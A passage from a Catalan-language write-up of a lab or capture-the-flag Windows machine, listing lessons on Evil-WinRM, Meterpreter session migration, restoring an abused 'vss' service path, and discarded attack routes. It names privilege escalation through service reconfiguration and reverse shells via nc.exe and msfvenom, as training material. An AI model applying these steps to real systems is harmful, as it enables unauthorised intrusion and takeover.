Es va produir un error en executar una ordre Linux dins d'Evil-WinRM:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

PowerShell va intentar interpretar `/dev/null` com `C:\dev\null`.

Lliçó:

```
Terminal Parrot:
  find, cp, msfvenom, msfconsole, nc listener.

Evil-WinRM:
  PowerShell remot, sc.exe, Get-ChildItem, upload.

Meterpreter:
  getuid, cat, migrate, ps.
```

18.8. Meterpreter requereix ordres pròpies

Dins de Meterpreter, `whoami` no és l'ordre adequada:

```
[-] Unknown command: whoami
```

Per confirmar l'usuari s'utilitza:

```
getuid
```

18.9. L'estabilitat pot requerir migració

La shell amb `nc.exe` i els primers Meterpreter van morir ràpid. La sessió estable va arribar quan es va combinar:

```
payload x64
+ handler correcte
+ AutoRunScript post/windows/manage/migrate
```

La migració automàtica va permetre sortir del procés inicial `shell64.exe` i passar a un procés més estable:

```
[+] Successfully migrated into process 688
```

18.10. Restaurar el servei forma part del tancament tècnic

Després de modificar `vss`, el tancament correcte va ser restaurar:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"  
sc.exe qc vss
```

Confirmació final:

```
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

19. Punts descartats o no desenvolupats

SMB sense credencials

SMB va confirmar el domini `RETURN`, però no va permetre enumeració útil sense credencials. Va quedar com a branca secundària i no va ser necessari tornar-hi per completar la màquina.

SeBackupPrivilege / SeRestorePrivilege

L'usuari tenia privilegis interessants com `SeBackupPrivilege` i `SeRestorePrivilege`, però no es van desenvolupar perquè la via de `Server Operators` era directa i suficient.

Validació per fitxer

La validació mitjançant redirecció de `whoami` a fitxer va resultar sorollosa per problemes de cometes, `1053` i permisos de lectura. Es va abandonar correctament a favor d'una sessió inversa.